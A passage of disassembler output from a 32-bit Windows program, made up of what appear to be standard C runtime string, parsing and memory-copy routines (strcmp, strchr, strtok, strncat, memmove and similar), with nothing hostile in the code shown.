		jz	short loc_41BD69
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41BD72


loc_41BD69:				; CODE XREF: sub_41BBBD+1A1j
		test	ecx, ecx
		jnz	short loc_41BD99
		cmp	[ebp+var_8], eax
		jbe	short loc_41BD99


loc_41BD72:				; CODE XREF: sub_41BBBD+197j
					; sub_41BBBD+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4DB958, 22h
		jz	short loc_41BD88
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------


loc_41BD88:				; CODE XREF: sub_41BBBD+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_41BD99:				; CODE XREF: sub_41BBBD+18Dj
					; sub_41BBBD+19Cj ...
		test	edx, edx
		jz	short loc_41BDA2
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_41BDA2:				; CODE XREF: sub_41BBBD+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41BDB0
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_41BDB0:				; CODE XREF: sub_41BBBD+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41BDC0
; ---------------------------------------------------------------------------


loc_41BDB5:				; CODE XREF: sub_41BBBD+66j
					; sub_41BBBD+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BDBE
		mov	[eax], edi


loc_41BDBE:				; CODE XREF: sub_41BBBD+1FDj
		xor	eax, eax


loc_41BDC0:				; CODE XREF: sub_41BBBD+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BBBD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDC5	proc near		; CODE XREF: sub_401ACD+61CFp
					; sub_401ACD+6A10p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BDC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDDC	proc near		; CODE XREF: sub_401ACD+5981p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		nop
		call	near ptr 26901B6h
		test	eax, eax
		jnz	short loc_41BDF2
		call	near ptr 26908E1h
		nop
		jmp	short loc_41BDF4
; ---------------------------------------------------------------------------


loc_41BDF2:				; CODE XREF: sub_41BDDC+Cj
		xor	eax, eax


loc_41BDF4:				; CODE XREF: sub_41BDDC+14j
		test	eax, eax
		jz	short loc_41BE03
		push	eax
		call	sub_4203DF
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41BE03:				; CODE XREF: sub_41BDDC+1Aj
		xor	eax, eax
		retn
sub_41BDDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE06	proc near		; CODE XREF: sub_401ACD+58D3p
					; ___:00411CA2p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420446
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41F69F
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_4204D3
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41BE06	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE40	proc near		; CODE XREF: sub_401ACD+1E82p
					; sub_401ACD+1EA1p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41BE61
		xor	eax, eax
		jmp	short loc_41BE63
; ---------------------------------------------------------------------------


loc_41BE61:				; CODE XREF: sub_41BE40+1Bj
		mov	eax, edi


loc_41BE63:				; CODE XREF: sub_41BE40+1Fj
		cld
		pop	edi
		leave
		retn
sub_41BE40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE70	proc near		; CODE XREF: sub_401ACD+870p
					; ___:0041DD1Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41BEA1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41BE9F
		jz	short loc_41BEA1
		dec	ecx
		dec	ecx


loc_41BE9F:				; CODE XREF: sub_41BE70+29j
		not	ecx


loc_41BEA1:				; CODE XREF: sub_41BE70+9j
					; sub_41BE70+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41BE70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEB0	proc near		; CODE XREF: sub_401ACD+42Fp
					; sub_401ACD+2FFDp ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41BF21
sub_41BEB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEC0	proc near		; CODE XREF: sub_401ACD+438p
					; sub_401ACD+75FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41BEDC


loc_41BECD:				; CODE XREF: sub_41BEC0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41BF0F
		test	ecx, 3
		jnz	short loc_41BECD


loc_41BEDC:				; CODE XREF: sub_41BEC0+Bj
					; sub_41BEC0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BEDC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41BF1E
		test	ah, ah
		jz	short loc_41BF19
		test	eax, 0FF0000h
		jz	short loc_41BF14
		test	eax, 0FF000000h
		jz	short loc_41BF0F
		jmp	short loc_41BEDC
; ---------------------------------------------------------------------------


loc_41BF0F:				; CODE XREF: sub_41BEC0+12j
					; sub_41BEC0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF14:				; CODE XREF: sub_41BEC0+44j
		lea	edi, [ecx-2]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF19:				; CODE XREF: sub_41BEC0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF1E:				; CODE XREF: sub_41BEC0+39j
		lea	edi, [ecx-4]


loc_41BF21:				; CODE XREF: sub_41BEB0+5j
					; sub_41BEC0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41BF46


loc_41BF2D:				; CODE XREF: sub_41BEC0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41BF98
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41BF2D
		jmp	short loc_41BF46
; ---------------------------------------------------------------------------


loc_41BF41:				; CODE XREF: sub_41BEC0+9Ej
					; sub_41BEC0+B8j
		mov	[edi], edx
		add	edi, 4


loc_41BF46:				; CODE XREF: sub_41BEC0+6Bj
					; sub_41BEC0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BF41
		test	dl, dl
		jz	short loc_41BF98
		test	dh, dh
		jz	short loc_41BF8F
		test	edx, 0FF0000h
		jz	short loc_41BF82
		test	edx, 0FF000000h
		jz	short loc_41BF7A
		jmp	short loc_41BF41
; ---------------------------------------------------------------------------


loc_41BF7A:				; CODE XREF: sub_41BEC0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF82:				; CODE XREF: sub_41BEC0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF8F:				; CODE XREF: sub_41BEC0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF98:				; CODE XREF: sub_41BEC0+72j
					; sub_41BEC0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41BEC0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41BFB0


loc_41BFA0:				; CODE XREF: sub_41BFB0+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41BFB0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BFB0	proc near		; CODE XREF: sub_401ACD+414p
					; sub_401ACD+4C3p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_41BFB6:				; CODE XREF: sub_41B900+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41BFDB


loc_41BFC8:				; CODE XREF: sub_41BFB0+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41BFA0
		test	cl, cl
		jz	short loc_41C024
		test	edx, 3
		jnz	short loc_41BFC8


loc_41BFDB:				; CODE XREF: sub_41BFB0+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_41BFE6:				; CODE XREF: sub_41BFB0+61j
					; sub_41BFB0+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41C028
		and	eax, 81010100h
		jz	short loc_41BFE6
		and	eax, 1010100h
		jnz	short loc_41C022
		and	esi, 80000000h
		jnz	short loc_41BFE6


loc_41C022:				; CODE XREF: sub_41BFB0+68j
					; sub_41BFB0+81j ...
		pop	esi
		pop	edi


loc_41C024:				; CODE XREF: sub_41BFB0+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C028:				; CODE XREF: sub_41BFB0+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41C065
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C05E
		test	ah, ah
		jz	short loc_41C022
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41C057
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C050
		test	ah, ah
		jz	short loc_41C022
		jmp	short loc_41BFE6
; ---------------------------------------------------------------------------


loc_41C050:				; CODE XREF: sub_41BFB0+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C057:				; CODE XREF: sub_41BFB0+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C05E:				; CODE XREF: sub_41BFB0+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C065:				; CODE XREF: sub_41BFB0+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41BFB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C070	proc near		; CODE XREF: sub_401ACD+1AEp
					; sub_401ACD+205p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41C0BC


loc_41C080:				; CODE XREF: sub_41C070+3Cj
					; sub_41C070+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+3]
		jnz	short loc_41C0B4
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41C080
		mov	edi, edi


loc_41C0B0:				; CODE XREF: sub_41C070+18j
					; sub_41C070+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C0B4:				; CODE XREF: sub_41C070+14j
					; sub_41C070+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C0BC:				; CODE XREF: sub_41C070+Ej
		test	edx, 1
		jz	short loc_41C0D8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		inc	ecx
		or	al, al
		jz	short loc_41C0B0
		test	edx, 2
		jz	short loc_41C080


loc_41C0D8:				; CODE XREF: sub_41C070+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		add	ecx, 2
		jmp	short loc_41C080
sub_41C070	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C0F4	proc near		; CODE XREF: sub_401ACD+B5p
					; sub_401ACD+D5p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_41C10D:				; CODE XREF: sub_41C0F4+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41C10D
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41C135
		mov	edx, dword_4DB9A4


loc_41C135:				; CODE XREF: sub_41C0F4+39j
					; sub_41C0F4+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41C155
		test	al, al
		jz	short loc_41C155
		inc	edx
		jmp	short loc_41C135
; ---------------------------------------------------------------------------


loc_41C155:				; CODE XREF: sub_41C0F4+58j
					; sub_41C0F4+5Cj
		mov	ebx, edx


loc_41C157:				; CODE XREF: sub_41C0F4+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41C17B
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41C177
		inc	edx
		jmp	short loc_41C157
; ---------------------------------------------------------------------------


loc_41C177:				; CODE XREF: sub_41C0F4+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_41C17B:				; CODE XREF: sub_41C0F4+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4DB9A4, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41C0F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C190	proc near		; CODE XREF: sub_409A2D+1Cp
					; sub_415221+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C1CE
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C1DB
; ---------------------------------------------------------------------------


loc_41C1CE:				; CODE XREF: sub_41C190+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41C1DB:				; CODE XREF: sub_41C190+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C190	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1E0	proc near		; CODE XREF: sub_40AFEB+88p
					; sub_40B64B+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41C294
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41C20A


loc_41C1FB:				; CODE XREF: sub_41C1E0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41C23B
		test	edi, 3
		jnz	short loc_41C1FB


loc_41C20A:				; CODE XREF: sub_41C1E0+19j
					; sub_41C1E0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41C20A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41C248
		test	ah, ah
		jz	short loc_41C243
		test	eax, 0FF0000h
		jz	short loc_41C23E
		test	eax, 0FF000000h
		jnz	short loc_41C20A


loc_41C23B:				; CODE XREF: sub_41C1E0+20j
		dec	edi
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C23E:				; CODE XREF: sub_41C1E0+52j
		sub	edi, 2
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C243:				; CODE XREF: sub_41C1E0+4Bj
		sub	edi, 3
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C248:				; CODE XREF: sub_41C1E0+47j
		sub	edi, 4


loc_41C24B:				; CODE XREF: sub_41C1E0+5Cj
					; sub_41C1E0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC
		jmp	short loc_41C27C
; ---------------------------------------------------------------------------


loc_41C260:				; CODE XREF: sub_41C1E0+75j
					; sub_41C1E0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41C29A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41C290
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC


loc_41C27C:				; CODE XREF: sub_41C1E0+7Ej
					; sub_41C1E0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41C290


loc_41C283:				; CODE XREF: sub_41C1E0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41C292
		dec	ecx
		jnz	short loc_41C283


loc_41C290:				; CODE XREF: sub_41C1E0+8Bj
					; sub_41C1E0+A1j
		mov	[edi], cl


loc_41C292:				; CODE XREF: sub_41C1E0+ABj
		pop	ebx
		pop	esi


loc_41C294:				; CODE XREF: sub_41C1E0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C29A:				; CODE XREF: sub_41C1E0+85j
					; sub_41C1E0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2A4:				; CODE XREF: sub_41C1E0+E4j
					; sub_41C1E0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C27C


loc_41C2AC:				; CODE XREF: sub_41C1E0+7Cj
					; sub_41C1E0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C2A4
		test	dl, dl
		jz	short loc_41C29A
		test	dh, dh
		jz	short loc_41C2F8
		test	edx, 0FF0000h
		jz	short loc_41C2E8
		test	edx, 0FF000000h
		jnz	short loc_41C2A4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2E8:				; CODE XREF: sub_41C1E0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2F8:				; CODE XREF: sub_41C1E0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41C1E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C310	proc near		; CODE XREF: sub_40BFA4+15p
					; sub_40BFA4+3Bp ...

var_3A3BFFC0	= byte ptr -3A3BFFC0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41C330
		cmp	edi, eax
		jb	loc_41C4A8


loc_41C330:				; CODE XREF: sub_41C310+16j
		test	edi, 3
		jnz	short loc_41C34C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------


loc_41C34C:				; CODE XREF: sub_41C310+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41C364
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41C36C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41C364:				; CODE XREF: sub_41C310+46j
		jmp	dword ptr loc_41C468[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41C36C:				; CODE XREF: sub_41C310+31j
					; sub_41C310+8Ej ...
		jmp	off_41C3EC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41C380
; ---------------------------------------------------------------------------
		lodsb
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		dw 41h
; ---------------------------------------------------------------------------


loc_41C380:				; DATA XREF: sub_41C310+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C3EC	dd offset loc_41C44F	; DATA XREF: sub_41C310:loc_41C36Cr
		dd offset loc_41C43C
		dd offset loc_41C434
		dd offset loc_41C42C
		dd offset loc_41C424
		dd offset loc_41C41C
		dd offset loc_41C414
		dd offset loc_41C40C
; ---------------------------------------------------------------------------


loc_41C40C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41C414:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41C41C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41C424:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41C42C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41C434:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41C43C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41C44F:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310:off_41C3ECo
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C458	dd offset loc_41C468	; DATA XREF: sub_41C310+35r
					; sub_41C310+92r ...
		dd offset loc_41C470
		dd offset loc_41C47C
		dd offset loc_41C490
; ---------------------------------------------------------------------------


loc_41C468:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41C470:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C47C:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41C490:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C4A8:				; CODE XREF: sub_41C310+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41C4DC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41C4D0:				; CODE XREF: sub_41C310+1B1j
					; sub_41C310+208j ...
		neg	ecx
		jmp	dword ptr loc_41C59F+1[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41C4DC:				; CODE XREF: sub_41C310+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41C4F4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41C4F4+4[eax*4]
; ---------------------------------------------------------------------------


loc_41C4F4:				; CODE XREF: sub_41C310+1D6j
					; DATA XREF: sub_41C310+1DDr
		jmp	off_41C5F0[ecx*4]
